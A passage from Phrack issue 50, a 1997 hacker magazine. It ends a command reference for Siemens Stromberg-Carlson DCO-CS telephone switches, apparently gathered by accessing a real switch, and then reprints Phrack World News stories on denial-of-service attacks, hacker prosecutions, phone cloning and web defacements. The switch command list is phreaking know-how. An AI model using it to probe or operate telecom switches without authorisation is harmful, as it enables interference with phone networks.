  11100. PCOS      -   DCO-CS administer partition class of service
  11101. PED       -   administer/apply/verify patches to disk/system
  11102. POORA     -   point of origination for recorded announcements
  11103. PORTST    -   list port status; list/change lockout thresholds
  11104. PSAUTL    -   port store area (PSA) utility
  11105. REBOOT    -   reboots the maintenance processor
  11106. RECOV     -   put call processors in sync
  11107. REMOVE    -   remove a resident program from memory
  11108. RESTOR    -   restore call processor
  11109. RFRNS     -   copy files from an RNS to the host office
  11110. RGU       -   DCO-CS least cost routing/update display
  11111. RNSAMA    -   display AMA buffer status in an RNS at the host
  11112. RNSBMP    -   display RNS BMP status at the host
  11113. RNSUTL    -   configure/status/diagnostic testing of signaling links
  11114. ROTL      -   transmission/operational testing of outgoing & 2-way trunks
  11115. ROUTE     -   DCO-CS display customer routing
  11116. RRTUTL    -   reroute messages to additional terminal points
  11117. RSMUTL    -   remove/restore/mask/unmask/test RLG span
  11118. RSUTL     -   routine switchover utility
  11119. RTEST     -   routine testing
  11120. RTOPT     -   administer analog trunks and service circuits
  11121. RTR       -   administer route treatment database
  11122. SBUG      -   stop FBUG
  11123. SCTST     -   DCO-CS service circuit diagnostics
  11124. SECTTY    -   administer terminal access groups
  11125. SELMCL    -   outgoing call trace
  11126. SELNUM    -   DCO-CS administer blocked directory tables
  11127. SERV      -   DCO-CS change service circuit tables
  11128. SLUUTL    -   configure/administer/mask/test SLUS
  11129. SNCUTL    -   configure/status of SNC for LLS & RLS-1000
  11130. SPCALL    -   DCO-CS administer speed codes
  11131. STASND    -   digital alarm sending utility
  11132. STATE     -   display system state
  11133. STATE1    -   switch to system state 1
  11134. STATE2    -   switch to system state 2
  11135. STATUS    -   display system status
  11136. STOP      -   terminate execution of TEST, GBUG, DIAG2, or BTBT
  11137. SWITCH    -   manually switch tones/ringing generators/clocks (non RLS-4000)
  11138. TAPE      -   display formatted tickets on AMA tape
  11139. TASKCK    -   audits the disk database for necessary/unnecessary files
  11140. TCOS      -   administer trunk class of service
  11141. TFM       -   activate/deactive/audit/display TMRS
  11142. TFMRP     -   display specific TMRS measurements/report data/study set
  11143. TIKFM     -   DCO-CS display AMA tape format
  11144. TIME      -   display system date/time
  11145. TIMEC     -   changes system date/time
  11146. TIMER     -   administer/configure CP occupancy measurements
  11147. TKTHRS    -   administer trunk thresholds
  11148. TMAD      -   administer/configure TMRS
  11149. TMBUG     -   debugger for traffic measurement processor
  11150. TMPDMP    -   display data collected from a TMP crash
  11151. TMRPRT    -   manually display a TMRS variable report (with FP)
  11152. TRACE     -   DCO-CS call trace utility
  11153. TRACER    -   allows use of tracer board for CP
  11154. TRK       -   administer trunk group assignments
  11155. TRKUTL    -   administer trunk testing database
  11156. TSEP      -   administer/configure traffic separations
  11157. TTU       -   administer translation database
  11158. UNMASK    -   enable reporting of messages & H/W faults (non-RLS-4000)
  11159. UNSYNC    -   take call processors out of sync
  11160. UPACK     -   unpack a file
  11161. UPDATE    -   update the system state
  11162. UTL       -   mount/dismount device/feature; configure tasks
  11163. VALPC     -   DCO-CS administer validated project codes
  11164. VCHECK    -   version checker
  11165. VST       -   administer variable state timers
  11166. XDSO      -   CP message sender/debugger
  11167. XFER      -   transfer files between the DCO and another system
  11168. XRTEST    -   terminate routine testing
  11169.  
  11170.         Thats all for the commands... I will probably write a follow-up
  11171. explaining some of the commands usage, what a DCO looks like when you call it
  11172. (ie how you know its a DCO machine), what some defaults are, how to route
  11173. numbers using INWATS or INWANI, and whatever else i figure out... for now,
  11174. have phun & read Phrack...  Feel free to contact me:
  11175.     
  11176.                             mrnobody@pil.net
  11177.  
  11178. resources i used:
  11179.  
  11180. - an actual RLS machine running DCO siemens stromberg-carlson
  11181.  
  11182. - my mind 
  11183. - the minds of my phriends, to whom i give much thanks: 
  11184.     c-stone (is thatit?), lefty, port9, cyklonik (hope everything turns out 
  11185.     OK....), a guy named don in CA :), and ben (look at me now, m0f0)
  11186.  
  11187. sorry if i forgot anything or anyone that helped me... 
  11188. look out for "The DCO-CS part 2" soon...
  11189.  
  11190. EOF
  11191.  
  11192.                                 .oO Phrack 50 Oo.
  11193.  
  11194.                             Volume Seven, Issue Fifty
  11195.  
  11196.                                      15 of 16
  11197.  
  11198.  
  11199.               PWN PWN PNW PNW PNW PNW PNW PNW PNW PNW PNW PWN PWN
  11200.               PWN                                             PWN
  11201.               PWN              Phrack World News              PWN
  11202.               PWN                                             PWN
  11203.               PWN        Compiled by disorder/alhambra        PWN
  11204.               PWN                                             PWN
  11205.               PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
  11206.  
  11207. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  11208.  
  11209.  
  11210. Intro: As usual there are literally hundreds of interesting articles
  11211.        that could be put here. I have tried to narrow the focus to
  11212.        hacker/security related stuff only. Enjoy.
  11213.  
  11214. Sources: Access All Areas mail list:
  11215.                 echo "help" | mail majordomo@access.org.uk
  11216.          CSP (run by Frosty):
  11217.  
  11218.          Computer Underground Digest:
  11219.                 echo "subscribe cu-digest" | mail cu-digest-request@weber.ucsd.edu
  11220.          Cyberwire Dispatch:
  11221.                 echo "subscribe" | mail cwd-l-request@cyberwerks.com
  11222.          Defcon Stuff:
  11223.                 echo "subscribe" | mail majordomo@dis.org
  11224.          Half a dozen other mail lists, elite people who forward me
  11225.                 neat shit, and various news type web pages.
  11226.  
  11227.  
  11228. Phrack World News #50 -- Index
  11229.  
  11230. 01. Computer Attack Slows Service at New York Times' Web Site
  11231. 02. [Chinese Hacker Convicted]
  11232. 03. Phone 'Super Scanner' Alert
  11233. 04. Computer Hacking Whiz Pleads Guilty To Electronic Break-And-Enter
  11234. 05. Hackers release two upcoming U2 songs on Internet
  11235. 06. Computer Crime Prompts New Parole Restrictions
  11236. 07. [Evil Hacker SYN-Flood's WebCom]
  11237. 08. German Police Seek 12 After Raids On Computer Gang
  11238. 09. The tale of the Russian Hacker
  11239. 10. Expert Warns Of Lax Security On Web
  11240. 11. [Man pleads guilty to writing AOL hacking soft]
  11241. 12. Hackers Hack Crack, Steal Quake
  11242. 13. Hackers Sabotage Blair's Internet Image
  11243. 14. Police looking into hacking of Government web site
  11244. 15. Programmer Accused Of Breaking Into California State Contract Data
  11245. 16. [Australian Phone Worker Rigs Radio Contest]
  11246. 17. Hacker challenges `dark side' book
  11247.  
  11248. 01. The 1997 Summer Security Conference
  11249. 02. Hacking In Progress 
  11250. 03. Defensive Information Warfare And Systems Assurance
  11251. 04. Second International Workshop on Enterprise Security
  11252. 05. DEF CON V Convention Announcement #1.00 (02.26.97)
  11253.  
  11254. [=-------------------------------------------------------------------------=]
  11255.  
  11256. title: Computer Attack Slows Service at New York Times' Web Site
  11257. author:
  11258. source: The Wall Street Journal Interactive Edition
  11259. date: November 7, 1996
  11260.  
  11261.    Numerous World Wide Web sites offering political information found
  11262. themselves overwhelmed by requests for election information from Tuesday
  11263. night. But the New York Times' Web site also had to deal with waves of
  11264. requests for access apparently generated by a computer hacker.
  11265.  
  11266.    Nancy Nielsen, a New York Times Co. spokeswoman, noted that the attacks
  11267. -- which continued Wednesday -- only slowed the Times' computers, which
  11268. were still able to serve a record number of users on Tuesday.
  11269.  
  11270.    The attack was similar to a September incident that virtually paralyzed
  11271. Public Access Networks Corp., or Panix, an Internet-access provider that
  11272. hosts nearly a thousand corporate Web sites. In that incident, a computer
  11273. hacker bombarded the service's computers with requests to send information.
  11274.  
  11275.    Such attacks, presumably generated by malicious computer programs, work
  11276. by sending repeated requests -- sometimes more than a hundred per second --
  11277. seeking to establish a connection to send or receive information. The
  11278. requests contain fake Internet addresses, which the site's computers waste
  11279. valuable resources attempting to establish contact with. This process
  11280. prevents the computers from handling legitimate requests from Internet
  11281. users for access.
  11282.  
  11283.    Such attacks are, in effect, similar to campaigns used by some activist
  11284. groups to flood a politician's switchboard with phone calls. So much time
  11285. is spent sorting out the bogus calls -- in this case, the hacker's false
  11286. requests for an electronic "handshake" with a site's machines -- that the
  11287. legitimate ones can't get through. The attacks can be differentiated from
  11288. heavy volume on a site because of the fake Internet addresses and the
  11289. regularity with which such requests come in.
  11290.  
  11291.    Attacks such as the ones directed at Panix and the New York Times
  11292. underscore a key vulnerability of the Internet.
  11293.  
  11294.    "This is the first major attack of a kind that I believe to be the final
  11295. Internet security problem," said William Cheswick, an Internet security
  11296. expert at the Bell Laboratories unit of Lucent Technologies Inc., in the
  11297. wake of the attack on Panix.
  11298.  
  11299.    Mr. Cheswick, who assisted Panix during the attacks, said at the time
  11300. that while there had been a few previous reports of such incidents, the
  11301. Panix episode was the most severe.
  11302.  
  11303.    Internet computers have no quick way of distinguishing a bogus request
  11304. for information from a real one, Mr. Cheswick noted. While upgrades to the
  11305. software controlling these computers could ease the problem, hackers could
  11306. respond with even more intensive attacks.
  11307.  
  11308.    "There's going to be the usual arms race" between better security
  11309. measures and hackers, Mr. Cheswick predicts.
  11310.  
  11311.    Panix tried to find the source of the attack by working backward through
  11312. the labyrinthine network of phone lines and specialized "router" computers
  11313. that form the Internet. But there is no easy way to trace such hackers, Mr.
  11314. Cheswick noted.
  11315.  
  11316. [=-------------------------------------------------------------------------=]
  11317.  
  11318. title: (none) [Chinese Hacker Convicted]
  11319. author: Magdalen Chow
  11320. source: South China Morning Post
  11321.  
  11322. Computer hacker who enjoyed free access to the Internet by using other
  11323. people's accounts was fined HK$125,000 (about US$16,000) in Hong Kong
  11324. Monday.
  11325.  
  11326. Judge Gareth Lugar-Mawson also ordered David Yip Shu-chew, 27, to pay
  11327. HK$40,400 in compensation to Hong Kong Star Internet Ltd. and HK$404
  11328. to one of the people whose accounts he had used.
  11329.  
  11330. The judge said he would not order Yip to pay the costs of approximately
  11331. HK$2.6 million incurred in the prosecution and investigation of the case,
  11332. but threatened him with jail if he misused the Internet again.
  11333.  
  11334. Yip is the first person to be charged with accessing a computer with
  11335. criminal or dishonest intent under the Crimes Ordinance.
  11336.  
  11337.  
  11338. [=-------------------------------------------------------------------------=]
  11339.  
  11340. title: Phone 'Super Scanner' Alert
  11341. source: The London Telegraph
  11342. date: 12th November 1996
  11343.  
  11344.  
  11345. Cellphone fraud, which already costs the British cellphone industry £200
  11346. million a year, is increasing because of a new device that makes it
  11347. easier than ever for criminals to "clone" phones, writes Aisling
  11348. Irwin.
  11349.  
  11350. The new "super-scanner" can soak up all the identification numbers of
  11351. vulnerable analogue phones within half a mile. Each phone contains two
  11352. numbers: its phone number and a secret verification code. When a call is
  11353. made, the phone transmits the two numbers to the nearest of a network of
  11354. base stations, which checks that the phone is legitimate before allowing
  11355. the call to go ahead.
  11356.  
  11357. Normally, thieves pick up the numbers as they are transmitted at the
  11358. beginning of each call. Until now, such thefts have been possible only
  11359. when victims are making calls - and stealing numbers has taken much
  11360. longer.
  11361.  
  11362. But the new technique, which is far more powerful, only requires mobile
  11363. phones to be switched on to obtain their identification numbers.
  11364.  
  11365. By sending out a signal identical to that of a real base station, the
  11366. super-scanner gets the cellphones to yield their numbers. These are
  11367. received by the scanner, passed to a computer and can then be programmed
  11368. into stolen phones.
  11369.  
  11370. According to the Federation of Communication Services, which represents
  11371. leading cellphone companies, the new technology has evolved over the
  11372. past few months. "Its impact is really being felt heavily," said a
  11373. spokesman. The FCS has launched a campaign to make the advertising,
  11374. sale, ownership or use of cloning equipment illegal.
  11375.  
  11376. Although the FCS says the technique cannot be used to clone digital
  11377. phones, New Scientist reported last week that criminals may be close to
  11378. cloning these as well. If so, the problem will be magnified because
  11379. these can be used abroad.
  11380.  
  11381. [=-------------------------------------------------------------------------=]
  11382.  
  11383. title: Computer Hacking Whiz Pleads Guilty To Electronic Break-And-Enter
  11384.  
  11385.  
  11386. ST. LOUIS (Nov 15, 1996 11:12 a.m. EST) -- A computer whiz deemed so
  11387. cunning he could control almost any computer system has accepted a plea
  11388. bargain for hacking his way into the secret files of two major
  11389. communications companies.
  11390.  
  11391. Christopher Schanot, 20, was linked to the Internet Liberation Front, a
  11392. group of hackers who have claimed responsibility for some high-profile
  11393. computer pranks and who decry the commercialization of cyberspace.
  11394.  
  11395. In exchange for a reduced sentence, Schanot pleaded guilty Thursday to
  11396. two counts of computer fraud and one count of illegal wiretapping. He
  11397. faces up to 15 years in prison and $750,000 in fines at his sentencing
  11398. on Jan. 31.
  11399.  
  11400. Prosecutors said Schanot broke into national computer networks and had
  11401. passwords to military computers, the credit reporting service TRW and
  11402. the phone company Sprint. They gave no indication he tried to profit
  11403. from his intrusion.
  11404.  
  11405. His hacking caused security breaches that companies said cost tens of
  11406. thousands of dollars to repair.
  11407.  
  11408. The break-ins took place between October 1994 and April 1995, when
  11409. Schanot was an honor student at a Catholic boys' school in suburban St.
  11410. Louis. He vanished after graduating in May 1995.
  11411.  
  11412. Authorities caught up with Schanot last March and arrested him at the
  11413. suburban Philadelphia apartment he shared with a 37-year-old woman,
  11414. Netta Gilboa, the publisher of Gray Areas. The magazine professes to
  11415. explore subject matter that is "illegal, immoral and/or controversial."
  11416.  
  11417. In April, Schanot was placed under 24-hour house arrest and ordered to
  11418. not even talk about computers.
  11419.  
  11420. Originally accused in a five-count indictment, he pleaded guilty to
  11421. charges surrounding break-ins at Southwestern Bell and Bellcore, a
  11422. communications research company owned by seven regional telephone
  11423. companies.
  11424.  
  11425. Mike Schanot said his son made the plea bargain only after prosecutors
  11426. threatened him with a wider range of charges.
  11427.  
  11428. [dis: You can find a wide variety of other article on Schanot. Check
  11429.       your favorite search engine to find them.]
  11430.  
  11431. [=-------------------------------------------------------------------------=]
  11432.  
  11433. title: Hackers release two upcoming U2 songs on Internet
  11434. source: The Associated Press
  11435.  
  11436.  
  11437. LONDON - Hackers have distributed two unreleased U2 songs on the Internet,
  11438. possibly after tapping into computers at the Irish rock group's recording
  11439. studio, the Sunday Times said. 
  11440.  
  11441. The songs, Discotheque and Wake Up Dead Man, have appeared on Internet sites in
  11442. at least four countries, the newspaper said. The songs are to appear on an album
  11443. scheduled for release in the spring. 
  11444.  
  11445. Since their illicit appearance on the Internet, the songs have also been copied
  11446. onto compact discs, the Times said. The bootleg CDs are going for $10 at street
  11447. markets in Ireland and Britain. 
  11448.  
  11449. "It is an infringement of our copyright," Marc Marot, managing director of
  11450. Island Records, told the Times. 
  11451.  
  11452. Island Records did not immediately return calls for comment Sunday. The Sunday
  11453. Times said the record company is trying to shut down the Internet sites. 
  11454.  
  11455. Conventional, low-tech theft of the songs has been ruled out, the newspaper
  11456. said. 
  11457.  
  11458. Band managers are investigating the possibility that hackers tapped into
  11459. computers at U2's Dublin studio, it said. They may have gained access through
  11460. cables that have been feeding images of the band's recording sessions to an
  11461. Internet site maintained by Island Records. 
  11462.  
  11463. Since 1981, U2 has sold 70 million records and grossed more than $1.5 billion. 
  11464.  
  11465.  
  11466. [=-------------------------------------------------------------------------=]
  11467.  
  11468. title: Computer Crime Prompts New Parole Restrictions
  11469.  
  11470. WASHINGTON (Dec 17, 1996 07:42 a.m. EST) -- The U.S. Parole Commission
  11471. has approved restrictions on the use of computers by certain high-risk
  11472. parolees.
  11473.  
  11474. The Justice Department announced Monday that the panel voted this month
  11475. to authorize such restrictions as requiring certain parolees to get
  11476. prior written approval from the commission before using an Internet
  11477. service provider, computerized bulletin board system or any public or
  11478. private computer network.
  11479.  
  11480. Other restrictions would: prohibit particular parolees from possessing
  11481. or using data encryption programs, require some parolees to agree to
  11482. unannounced inspection of computers by probation officers, require some
  11483. parolees to compile daily logs of computer use or to pay for equipment
  11484. to monitor their computer use.
  11485.  
  11486. "Unrestricted access to the Internet and other computer online services
  11487. can provide sophisticated offenders with new opportunities for crime and
  11488. criminal associations," said Edward F. Reilly Jr., commission chairman.
  11489. "We cannot ignore the possibility that such offenders may be tempted to
  11490. use computer services to repeat their crimes."
  11491.  
  11492. The commission noted a surge in "how-to" information on child
  11493. molestation, hate crime and the illegal use of explosives available on
  11494. the Internet and on computer online services.
  11495.  
  11496. [=-------------------------------------------------------------------------=]
  11497.  
  11498. title: (none) [Evil Hacker SYN-Flood's WebCom]
  11499.  
  11500. SAN FRANCISCO - The FBI says it is investigating charges that sabotage
  11501. caused a 40-hour outage last weekend on Web Communications, (WebCom) a
  11502. Silicon Valley service hosting 3,000 World Wide Web sites.
  11503.   
  11504. WebCom said it believes a hacker using a college computer network in
  11505. British, Columbia, Canada, flooded its server in San Jose with
  11506. requests for connections from phony addresses. It said the attack
  11507. ended Sunday after MCI Net, a unit of MCI Communications, blocked
  11508. telephone traffic between WebCom and CA-Net of Canada at the request
  11509. of WebCom and its local service provider.
  11510.   
  11511. WebCom Executive Vice President Thomas Leavitt said the sites the
  11512. company hosts were unreachable much of Saturday Dec. 14 and Sunday
  11513. Dec. 15, causing customers, some of who operate retail sites, to
  11514. suffer "extensive" damages,
  11515.   
  11516. "One customer said he lost about $20,000 in revenue due to a special
  11517. event that was not able to occur. Others said they lost business on
  11518. one of the busiest shopping weekends of the year," Leavitt said.
  11519.  
  11520. WebCom said the incident was due to a common type of Internet sabotage
  11521. known as "denial of service" or "SYN flood," in which a computer
  11522. hacker jams a server with requests for connections from addresses that
  11523. do not exist. These types of attacks are easy to carry out and hard to
  11524. trace, Leavitt said.
  11525.   
  11526. "You can fake where the messages are coming from," Leavitt said, and
  11527. almost any with access to the Internet and some technical
  11528. sophistication can do it.
  11529.   
  11530. Others in the industry have experienced similar attacks, WebCom said.
  11531. Public Access Networks of New York City experienced a SYN flood attack
  11532. in September.
  11533.   
  11534. WebCom, headquartered in Santa Cruz, said its own investigation helped
  11535. by three Internet service providers traced the origin of the flooding
  11536. message to a computer on a college network in British Columbia linked
  11537. to BC-Net, a local Internet service provider there.
  11538.   
  11539. Leavitt said that a network administrator at Malaspina
  11540. University-College in Nanaimo, British Columbia, has identified the
  11541. computer used for the sabotage and that it was broken into by someone
  11542. without authorized access to that computer or to the college network.
  11543. The individual has not been identified.
  11544.   
  11545. FBI spokesman George Grotz said that the FBI is working with the
  11546. information tracing the requests for connection to British Columbia
  11547. but noted the actual perpetrator may nothing to do with the college or
  11548. BC-Net. "BC-Net may just be another link in the case," he said.
  11549.   
  11550. The FBI has jurisdiction over such cases under Title 18 section 1030,
  11551. which deals with falsely perpetrating denial of service on a computer
  11552. network.
  11553.   
  11554. Leavitt said if the industry, or specifically Internet service
  11555. providers, adopt certain "source filtering" coding they can prevent
  11556. people from using one network to send messages that appear to come
  11557. from somewhere else.
  11558.   
  11559. The U.S. Department of Energy's Computer Incident Advisory Capability
  11560. has an advisory warning about SYN Floods.
  11561.  
  11562.  
  11563. [=-------------------------------------------------------------------------=]
  11564.  
  11565. title: German Police Seek 12 After Raids On Computer Gang
  11566.  
  11567. MUNICH, Germany (Nov 28, 1996 3:36 p.m. EST) - European police are
  11568. seeking 12 members of an international computer chip counterfeiting gang
  11569. that was smashed this week in Germany and nine other countries, Bavarian
  11570. law officials said Thursday.
  11571.  
  11572. The raids, part of an operation code-named "Goldfish," resulted in the
  11573. arrest of 12 others suspected of selling counterfeit Pentium chips and
  11574. pirated software programs as well as fraud, money-laundering and tax
  11575. evasion, Bavarian prosecutor Hubert Vollmann told a news conference.
  11576.  
  11577. Police did not release the names of the suspects.
  11578.  
  11579. The highly-organized ring specialized in smuggling old Intel Corp
  11580. Pentium chips into Europe and selling them as new, Vollmann said. It
  11581. also sold illegal copies of Microsoft Corp programs and counterfeit
  11582. Hercules graphics adapters, he said.
  11583.  
  11584. Vollmann said the ring caused damages of several millions of dollars in
  11585. lost sales.
  11586.  
  11587. Tuesday and Wednesday, more than 2,000 law enforcement officals
  11588. confiscated "truckloads" of files, computer disks and equipment in
  11589. Germany, France, Italy and Belgium, he said.
  11590.  
  11591. The raids centered on offices and apartments near Munich in southern
  11592. Germany, and in the state of North Rhine-Westphalia, Vollmann said.
  11593.  
  11594. Three Germans and five Asians were arrested in Germany. Four other
  11595. arrests were made in France.
  11596.  
  11597. The raids were the culmination of a three-year probe that began when a
  11598. Laotian businessman reported he was robbed of almost $20,000 in 1993. He
  11599. came under suspicion after two of his attackers told police they had
  11600. robbed him of 500,000 marks.
  11601.  
  11602. A series of unusually large bank transactions by the man's companies led
  11603. to an investigation into tax evasion and money laundering, police said.
  11604.  
  11605. In addition to the 12 individuals under arrest and the 12 still at
  11606. large, 16 others were arrested in the raids on charges unrelated to chip
  11607. counterfeiting, Vollmann said.
  11608.  
  11609. The chip counterfeiting ring operated a multi-tiered organization that
  11610. bought used 133-megahertz Pentium chips in Asia and retouched them in
  11611. Hong Kong to look like new 166- megahertz processors, Vollmann said.
  11612.  
  11613. The group shipped the chips to Europe by courier to avoid customs and
  11614. taxes, and sold them to personal computer companies, he said.
  11615.  
  11616. [=-------------------------------------------------------------------------=]
  11617.  
  11618. title: The tale of the Russian Hacker
  11619.  
  11620. Everyone wants to know how Vladimir Levin did it, writes Hugo Cornwall.
  11621. In mid-1994, as a 26-year-old computer scientist in St Petersburg, he is 
  11622. supposed to have led a gang that hacked into Citibank in New Jersey, and 
  11623. organised more than 40 wire transfers from customer accounts. Russia's 
  11624. Mafia is said to have been involved.
  11625.  
  11626. Levin is still denying his involvement and, for the past 21 months, he 
  11627. has been in prison in south London, fighting extradition. On Sunday, he 
  11628. speaks for the first time to Channel 4's Equinox programme.
  11629.  
  11630. Could Levin really be living proof of the "professional hacker" so often 
  11631. celebrated in movies, books and lurid conference presentations? Is he 
  11632. a product of a KGB school of super hackers now turned loose on the 
  11633. world as part of Russian criminal enterprise? If that turned out to be 
  11634. true, it would delight the information warriors, the cyber-SWAT teams 
  11635. set up by the US armed forces whose most recent claims on federal 
  11636. budgets have been on the basis of threats to the global information 
  11637. infrastructure. Equally pleased will be the platoons of consultants, 
  11638. the sales forces of computer companies and the organisers of high-
  11639. price exclusive conferences.
  11640.  
  11641. Equinox tells a different story. The programme's researchers found a 
  11642. Russian "recreational" hacker group called Megazoid. The Citibank fraud 
  11643. because a group of hackers worldwide compiled files on the VAX/VMS 
  11644. operating system, and some Russian hackers found a Citibank computer 
  11645. with which they could play and use as a free jumping-off point to 
  11646. other computers. One of them says that, for $100, he sold details to 
  11647. Levin and his friends who ran a computer import/export business. In 
  11648. reality Levin appears to have been an average-ability programmer 
  11649. with entrepreneurial ambitions.
  11650.  
  11651. The Citibank fraud was possible only because of a number of coincidences - 
  11652. poor security management, a group of Russian hackers getting lucky 
  11653. and their information falling into the hands entreprenurs with the 
  11654. right connections. This is the pattern of much computer crime.
  11655.  
  11656.  
  11657. [=-------------------------------------------------------------------------=]
  11658.  
  11659. title: Expert Warns Of Lax Security On Web
  11660.   
  11661. SAN FRANCISCO - An outspoken computer security expert, citing his
  11662. just-completed study, says up to two-thirds of certain Web sites,
  11663. including reputable institutions like banks and the media, are
  11664. vulnerable to hacker attacks.
  11665.   
  11666. Dan Farmer -- who stirred controversy in 1995 as co-author of software
  11667. dubbed SATAN that enables people with basic skills to infiltrate
  11668. computer systems -- surveyed more than 2,200 Web sites.
  11669.   
  11670. The survey released last week covered a relatively small portion of
  11671. the sprawling Web but focused on sites where security is more of a
  11672. concern.
  11673.   
  11674. Farmer probed 660 bank sites around the globe, 312 North American
  11675. online newspaper sites, 274 credit union sites, 47 U.S. federal
  11676. government sites and 451 Internet sex clubs.
  11677.   
  11678. In a summary, Farmer said that, out of his sample of about 1,700 Web
  11679. sites he selected, "over 60 percent could be broken into or
  11680. destroyed." As a control, he probed a random sample of 469 sites.
  11681.   
  11682. Farmer said he used relatively crude, non-intrusive methods and did
  11683. not actually break into the sites. He also said he would not publish
  11684. the names of the sites he surveyed.
  11685.   
  11686. "I barely electronically breathed on these (computer) hosts," he said
  11687. in his report, adding that, considering more intrusive tests, some 70
  11688. percent to 80 percent of sites may have security flaws.
  11689.  
  11690. Other computer security experts found Farmer's results credible and
  11691. authoritative, David Kennedy, director of research, education and
  11692. consulting at the National Computer Security Association, said in a
  11693. telephone interview.
  11694.   
  11695. Experts and computer industry executives said the study shed more
  11696. light on a problem well known within the industry but insufficiently
  11697. understood by the public at large.
  11698.   
  11699. The threat of hacker attacks was highlighted earlier this year when
  11700. intruders broke into the Justice Department and Central Intelligence
  11701. Agency Web sites and altered them, prompting the CIA to close its site
  11702. temporarily.
  11703.   
  11704. Farmer stressed that Web sites are being used primarily for marketing
  11705. and advertising purposes and that, although some bank sites may allow
  11706. visitors to look up balances, the sites do not provide access to
  11707. internal financial systems.
  11708.   
  11709. Deborah Triant, president of CheckPoint Software Technologies' U.S.
  11710. operating unit in Redwood City, Calif., said banks routinely keep Web
  11711. sites on separate computer systems.
  11712.   
  11713. "Our experience is the banks are so paranoid that they won't even
  11714. allow the access that they should be able to allow and would be quite
  11715. safe if you had a modern firewall" protecting their networks from
  11716. intruders, said Triant, whose company is the market leader in firewall
  11717. technology.
  11718.   
  11719. "So, if their Web site is vulnerable, that doesn't mean that anything
  11720. else at the bank is vulnerable, or that their customers' accounts or
  11721. the transactions their customers are doing are vulnerable," she said.
  11722.  
  11723. Nevertheless, with the advent of electronic commerce over the Internet
  11724. expected to gain momentum in 1997, lax security remains a critical
  11725. issue, experts said.
  11726.  
  11727. Farmer separated security flaws into two categories -- a red category
  11728. where he said a site was "essentially wide open to any potential
  11729. attacker" and a yellow category deemed less serious but with potential
  11730. for disastrous consequences.
  11731.   
  11732. Of the 660 bank sites, 68 percent were deemed vulnerable and nearly 36
  11733. percent were in the red category.
  11734.   
  11735. Some 51 percent of credit unions were vulnerable, 62 percent of the
  11736. federal sites, nearly 70 percent of newspapers and 66 percent of sex
  11737. clubs. Sites in the red category ranged from 20 percent for credit
  11738. unions to 38 percent for federal sites and 39 percent for online
  11739. newspapers.
  11740.   
  11741. Of the random sample of 469 Web sites used as the control, a far
  11742. smaller percentage -- 33 percent -- were found to be vulnerable, and
  11743. 17 percent of the group was in the red category.
  11744.   
  11745. Farmer said part of the problem is that Web sites are trying to do too
  11746. much at once, increasing their complexity and making security far more
  11747. difficult to achieve.
  11748.   
  11749. But, even with security concerns, credit card transactions over the
  11750. Net are much safer than those carried out in shopping malls, said the
  11751. security association's Kennedy.
  11752.   
  11753. Farmer also said he plans to incorporate some newer testing tools into
  11754. a new version of SATAN, which stands for Security Administrator Tool
  11755. for Analyzing Networks, early next year.
  11756.   
  11757. The program enables people who manage corporate networks to locate
  11758. weaknesses and fix them. But it has been controversial because it can
  11759. also easily be used by malevolent intruders trying to cause damage.
  11760.   
  11761. Triant said there have been no reported security breaches at any of
  11762. the more than 15,000 institutions with CheckPoint network security
  11763. installed and said such precautions should provide adequate
  11764. protection.
  11765.  
  11766. [=-------------------------------------------------------------------------=]
  11767.  
  11768. title: (none) [Man pleads guilty to writing AOL hacking soft]
  11769. source: Reuters World ReportJanuary 8, 1997 14:55:00
  11770.  
  11771.  
  11772.      WASHINGTON, Jan 8 (Reuter) - A Yale University student pleaded guilty
  11773. Wednesday to committing computer fraud for developing a programme that
  11774. allowed him to use America Online Inc. without paying, the Justice Department
  11775. said.
  11776.      Prosecutors said Nicholas Ryan, 20 of Victor, New York, entered the
  11777. guilty plea at a federal court hearing in Alexandria, Virginia. He faces
  11778. up to five years in prison and a $250,000 fine at sentencing, scheduled at
  11779. the end of March. 
  11780.      Prosecutors said Ryan in June 1995 developed the programme, called
  11781. "AOL4FREE," and frequently used it through December 1995, avoiding having
  11782. to pay the firm's rate of $2.95 per hour.
  11783.      Ryan, who identified himself as "Happy Hardcore," also made the
  11784. programme available to other America Online users, and it circulated within
  11785. AOL chat rooms, prosecutors said. 
  11786.      As the company made changes to stop the use of the programme, Ryan
  11787. modified it and made the updated version available to other online service
  11788. users, the prosecutors said.
  11789.      They said the heaviest use of the programme took place from September
  11790. through December 1995. America Online estimated that on a single day
  11791. individuals using the programme logged onto the system about 2,000 times,
  11792. the prosecutors said. 
  11793.      The case was brought by the U.S. Attorney's office and the Justice
  11794. Department's computer crime section.
  11795.  
  11796.  
  11797. [=-------------------------------------------------------------------------=]
  11798.  
  11799. title: Hackers Hack Crack, Steal Quake
  11800. author: Annaliza Savage 
  11801.  
  11802. 8:00 pm PST - Hackers broke into the Web server and file server of Crack dot
  11803. Com, a Texas gaming company, on Wednesday, stealing the source code for
  11804. id's Quake 1.01, as well as Crack's newest project, Golgatha, and older games
  11805. Abuse and Mac Abuse. 
  11806.  
  11807. Although the hackers left a trail that may make them easy to track, the
  11808. theft did its damage. "Quake's raw engine market value dropped several
  11809. hundred thousand dollars," said Dave Taylor, who formed Crack dot Com
  11810. after leaving id Software, where he worked on Doom and Quake. But Barrett
  11811. Alexander of id denies that the financial loss will be so great, saying
  11812. that the code for Quake's unique engine is recognizable, making it hard
  11813. for anyone to be able to use without id's knowledge. 
  11814.  
  11815. Crack dot Com is also worried that its unreleased techniques, developed for
  11816. Golgotha, could make their way into the hands of other game competitors, who
  11817. could copy bits of code into their own software. 
  11818.  
  11819. The hackers, who were able to get through the Crack's firewall, left intact a
  11820. bash-history file that recorded all their movements. They even logged onto
  11821. IRC's #quake to brag about their exploits, and made Quake's source available
  11822. on Crack dot Com's homepage (it is no longer there). 
  11823.  
  11824. The hackers, who identified themselves as being from the group FEH,
  11825. probably broke through Crack's firewall through their Web site. The former
  11826. editor of the now defunct hacker magazine FEH denies any knowledge of the
  11827. event, and has already posted a disclaimer.
  11828.  
  11829. [=-------------------------------------------------------------------------=]
  11830.  
  11831. title: Hackers Sabotage Blair's Internet Image
  11832. author: Robert Uhlig, Technology Correspondent
  11833. source: The Telegraph
  11834. date: 10th December 1996
  11835.  
  11836.  
  11837. The Labour Party has called for a police inquiry after computer hackers
  11838. made repeated attacks on its Internet site, replacing a picture of Tony
  11839. Blair with his Spitting Image puppet and headlining the site with "New
  11840. Labour - Same Politicians. Same Lies". 
  11841.  
